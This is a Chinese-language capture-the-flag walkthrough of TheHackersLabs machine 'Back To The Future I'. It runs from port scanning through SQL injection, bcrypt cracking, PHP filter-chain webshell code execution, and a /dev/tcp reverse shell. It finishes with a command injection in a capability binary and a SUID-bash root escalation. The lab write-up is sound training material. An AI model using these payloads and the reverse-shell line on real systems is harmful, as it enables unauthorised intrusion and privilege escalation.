Back To The Future I

https://labs.thehackerslabs.com/machine/119

Recon

PortScan

➜  Back_To_The_Future_I nmap -sT -min-rate 10000 -p- 192.168.56.94
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 14:01 CST
Nmap scan report for 192.168.56.94
Host is up (0.00056s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 08:00:27:82:2C:CD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.52 seconds

➜  Back_To_The_Future_I nmap -sT -A -p 21,22,80,3306 192.168.56.94
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 14:05 CST
Nmap scan report for 192.168.56.94
Host is up (0.00051s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 f7:c5:4a:ca:73:0e:21:ed:9f:5d:7e:35:65:f6:9f:b2 (ECDSA)
|_  256 fc:f2:e9:1a:ae:3c:da:94:f5:db:11:b2:8b:5c:7f:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://hillvalley.thl/
|_http-server-header: Apache/2.4.62 (Debian)
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)
MAC Address: 08:00:27:82:2C:CD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host: _default_; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms 192.168.56.94

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds

枚举

FTP 匿名

➜  Back_To_The_Future_I ftp 192.168.56.94
Connected to 192.168.56.94.
220 (vsFTPd 3.0.3)
Name (192.168.56.94:root): anonymous
530 Permission denied.
ftp: Login failed

HTTP 服务

查看源码能找到

  <!-- ¡El reloj de la torre no tiene nada que ver! ¿O sí? -->
  <!-- 塔钟跟这事儿一点关系都没有！或者说，有关系？-->

目录爆破

➜  Back_To_The_Future_I feroxbuster --url http://hillvalley.thl/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --filter-status 404,503,400 -x a
sp,php,txt,zip                                                                                  
                                                                                                
 ___  ___  __   __     __      __         __   ___                           
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                                                                                               
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                                                                                              
by Ben "epi" Risher 🤓                 ver: 2.11.0                                                                                                                                              
───────────────────────────┬──────────────────────                                                                                                                                              
 🎯  Target Url            │ http://hillvalley.thl/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
 💢  Status Code Filters   │ [404, 503, 400]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [asp, php, txt, zip]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      175l      325w     3150c http://hillvalley.thl/css/styles.css
200      GET       69l      176w     2948c http://hillvalley.thl/index.php
200      GET       69l      176w     2948c http://hillvalley.thl/
200      GET        3l       28w      240c http://hillvalley.thl/about.php
302      GET        0l        0w        0c http://hillvalley.thl/admin.php => index.php
301      GET        9l       28w      314c http://hillvalley.thl/css => http://hillvalley.thl/css/
301      GET        9l       28w      314c http://hillvalley.thl/img => http://hillvalley.thl/img/
200      GET      140l      809w    61123c http://hillvalley.thl/img/flux_capacitor.png
301      GET        9l       28w      313c http://hillvalley.thl/js => http://hillvalley.thl/js/
200      GET       23l       61w      838c http://hillvalley.thl/js/index.js
302      GET        0l        0w        0c http://hillvalley.thl/logout.php => index.php
200      GET        0l        0w        0c http://hillvalley.thl/config.php
200      GET        6l       25w      216c http://hillvalley.thl/logs.php
200      GET     9932l    58762w  4734247c http://hillvalley.thl/img/delorean.png
200      GET       28l      143w     1121c http://hillvalley.thl/time_machine.php
[####################] - 79s  1038210/1038210 0s      found:15      errors:0      
[####################] - 78s  1038145/1038145 13250/s http://hillvalley.thl/ 
[####################] - 0s   1038145/1038145 94376818/s http://hillvalley.thl/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 7s   1038145/1038145 146548/s http://hillvalley.thl/img/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s   1038145/1038145 37076607/s http://hillvalley.thl/js/ => Directory listing (add --scan-dir-listings to scan)

about.php

logs.php

time_machine.php

？EI Psy Kongroo ~

没找到信息，尝试爆破登录框，也是不成功

测试一下登录框

发现存在 SQL 注入

SQL 注入

直接上 SQLmap ，测试出来延时注入

将数据都爆出来

current user: 'marty@localhost'
current database: 'hillvalley'

Database: hillvalley
[1 table]
+-------+
| users |
+-------+

+----+--------------------------------------------------------------+----------+
| id | password                                                     | username |
+----+--------------------------------------------------------------+----------+
| 1  | $2y$10$.YPplAJvApyzvxjuWXdeHO1lIkolJIq9GzGERgmHqHLi.1/.zGJhy | marty    |
+----+--------------------------------------------------------------+----------+

将密码进行爆破

➜  Back_To_The_Future_I john --wordlist=/usr/share/wordlists/rockyou.txt hash                 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
andromeda        (?)     
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到一个账户 marty:andromeda

文件包含

登录进去后台

得到一些关于密码信息

我实施了一项基本的安全措施来保护关键的项目文件。
我使用了与我的时光机和第一次跳跃的日期相关的密码。

马蒂永远不会忘记那一天。

——医生

我们还注意到URL是貌似是包含文件的，我们尝试一下包含一下别的文件

成功将 /etc/passwd 包含出来

可以直接将 user.txt 给包含出来

但我们的目的是拿到 shell

测试伪协议是否可以使用

我们尝试通过 php://filter/write 来写入文件，但是并没有成功

php://filter/write=convert.base64-decode/resource=shell.php&data=PD9waHAgZXZhbChzeXN0ZW0oJF9QT1NUWyJ4Il0pKTtwaHBpbmZvKCk7Pz4=

通过：https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Wrappers.md

能到一个工具 PHP filter chain generator：https://github.com/synacktiv/php_filter_chain_generator

生成 payload：

python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>  '

生成反弹 shell 的代码：

	python3 php_filter_chain_generator.py --chain '<?php eval(system($_GET["x"])); ?>  '

测试代码执行

进行反弹 shell

/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.5/1234 0>&1'

拿到立足点

To Marty

查看配置文件

www-data@hillvalley:/var/www/project/app$ cat config.php 
<?php
$host = "localhost";
$user = "marty";
$pass = "t1m3travel";
$db = "hillvalley";

$conn = mysqli_connect($host, $user, $pass, $db);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
?>

拿到数据库账号密码，因为用户名是 marty ，我们顺便碰撞一下密码

www-data@hillvalley:/var/www/project/app$ su marty
Password: 
marty@hillvalley:/var/www/project/app$

成功切换到用户Marty

我们写入 SSH 公钥，使用公钥进行登录

To docbrown

家目录下的隐藏文件

marty@hillvalley:~$ cat .flux_notes 
Tiempos inestables... aún necesito arreglar el runner para la próxima prueba.

时间不稳定...仍然需要修复运行器以进行下一次测试。

能直接看docbrown的家目录

marty@hillvalley:/home/docbrown$ ls -al
total 88
drwxr-xr-x 15 docbrown docbrown 4096 Jul 15 10:45 .
drwxr-xr-x  4 root     root     4096 Jul 12 15:49 ..
lrwxrwxrwx  1 root     root        9 Jul 13 16:50 .bash_history -> /dev/null
-rw-r--r--  1 docbrown docbrown  220 Jul 11 22:04 .bash_logout
-rw-r--r--  1 docbrown docbrown 3662 Jul 12 20:23 .bashrc
drwx------ 10 docbrown docbrown 4096 Jul 11 22:27 .cache
drwx------  9 docbrown docbrown 4096 Jul 12 20:41 .config
-rw-r--r--  1 docbrown docbrown 5290 Jul 11 22:04 .face
lrwxrwxrwx  1 docbrown docbrown    5 Jul 11 22:04 .face.icon -> .face
-rw-r--r--  1 docbrown docbrown  110 Jul 13 14:10 .flux_hint
drwx------  4 docbrown docbrown 4096 Jul 11 22:08 .local
drwx------  4 docbrown docbrown 4096 Jul 11 22:27 .mozilla
-rw-r--r--  1 docbrown docbrown  807 Jul 11 22:04 .profile
-rw-------  1 docbrown docbrown  817 Jul 13 12:52 .viminfo
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Desktop
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Documents
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Downloads
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Music
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Pictures
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Public
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Templates
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Videos
drwxrwxrwx  2 docbrown docbrown 4096 Jul 12 20:49 docs

.flux_hint

marty@hillvalley:/home/docbrown$ cat .flux_hint 
He estado trabajando en una nueva forma de sincronizar los scripts del sistema. Cada minuto... como un reloj.

我一直在研究一种同步系统脚本的新方法。分分秒秒……精准无误。

提到了同步系统脚本，我们上pspy看看

注意到 /usr/local/bin/flux_admin.sh

但是根目录中也是没有

marty@hillvalley:/usr/local/bin$ ls -al
total 40
drwxr-xr-x  2 root root  4096 Jul 14 21:53 .
drwxr-xr-x 10 root root  4096 Jul 11 21:56 ..
-rwxr-xr-x  1 root root 16200 Jul 12 20:49 backup_runner
-rwx------  1 root root 16296 Jul 14 20:44 time_daemon

上 linpeas.sh 看看

可以注意到如下信息

Files with capabilities (limited to 50): 
/usr/local/bin/backup_runner cap_setuid=ep 
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep

当程序 backup_runner 运行时一些拥有 setuid 权限，可以以其他用户权限运行

我们将其拉出去分析一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  const char *v5; // [rsp+118h] [rbp-8h]

  if ( argc != 2 )
    usage(argc, argv, envp);
  v5 = argv[1];
  snprintf(s, 0x100uLL, "tar czf /tmp/%s-backup.tar.gz /home/docbrown/docs", v5);
  setuid(0x3E8u);
  system(s);
  return 0;
}

其中的 setuid(0x3E8u); 也就是 1000 ，而 1000 刚好是 docbrown

并且执行的命令是 tar czf /tmp/%s-backup.tar.gz /home/docbrown/docs

该程序存在命令注入，因为 v5 并没有被处理，而是直接被调用

"; id ;"

marty@hillvalley:/home/docbrown$ /usr/local/bin/backup_runner "; id ;"
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
uid=1000(docbrown) gid=1001(marty) groups=1001(marty)
sh: 1: -backup.tar.gz: not found

获得 docbrown 的 shell

marty@hillvalley:/home/docbrown$ /usr/local/bin/backup_runner "; /bin/bash -p ;"
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
docbrown@hillvalley:/home/docbrown$

To Root

查看 sudo 权限

docbrown@hillvalley:/home/docbrown$ sudo -l
Matching Defaults entries for docbrown on hillvaley:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User docbrown may run the following commands on hillvaley:
    (root) NOPASSWD: /usr/local/bin/time_daemon

我们尝试运行一下

[FLUX] No existe el archivo /tmp/sync: No such file or directory

docbrown@hillvalley:/tmp$ vim sync
docbrown@hillvalley:/tmp$ sudo time_daemon
[88MPH] Sincronización completada. Listo para viajar.

貌似是创建定时任务

我们将提权语句写入 /tmp/sync 并运行 time_deamon

docbrown@hillvalley:/tmp$ echo "chmod +s /bin/bash" > /tmp/sync

docbrown@hillvalley:/usr/local/bin$ sudo /usr/local/bin/time_daemon
[88MPH] Sincronización completada. Listo para viajar.

等在 pspy 显示运行计划任务，再查看

docbrown@hillvalley:/usr/local/bin$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 18 19:47 /bin/bash

最后读取 root.txt

bash-5.2# cat notes.txt 
¡Felicidades, viajero del tiempo!

Lograste lo imposible: viajaste al pasado, burlaste sistemas protegidos, superaste obstáculos temporales y... 
¡volviste al futuro con todos los flags en el DeLorean!

Doc estaría orgulloso, y Marty… bueno, seguro todavía está en problemas con Biff. 
Pero vos… vos demostraste que no hay sistema que se te resista ni timeline que no puedas manipular.

    “El futuro no está escrito, todavía. El tuyo será exactamente como lo hagas.”
    — Doc Emmett Brown

Gracias por jugar este CTF inspirado en una de las mejores trilogías de todos los tiempos. 

Si disfrutaste el viaje, no olvides compartir tus hallazgos con otros hackers del tiempo y prepararte para los próximos desafíos que se vienen en la saga.

bash-5.2# cat root.txt 
FLAGxxxxxxxxxxxxxxxxxxxxxx

总结

难度还好，就是有些地方会卡住

TheHackersLabs - Back To The Future I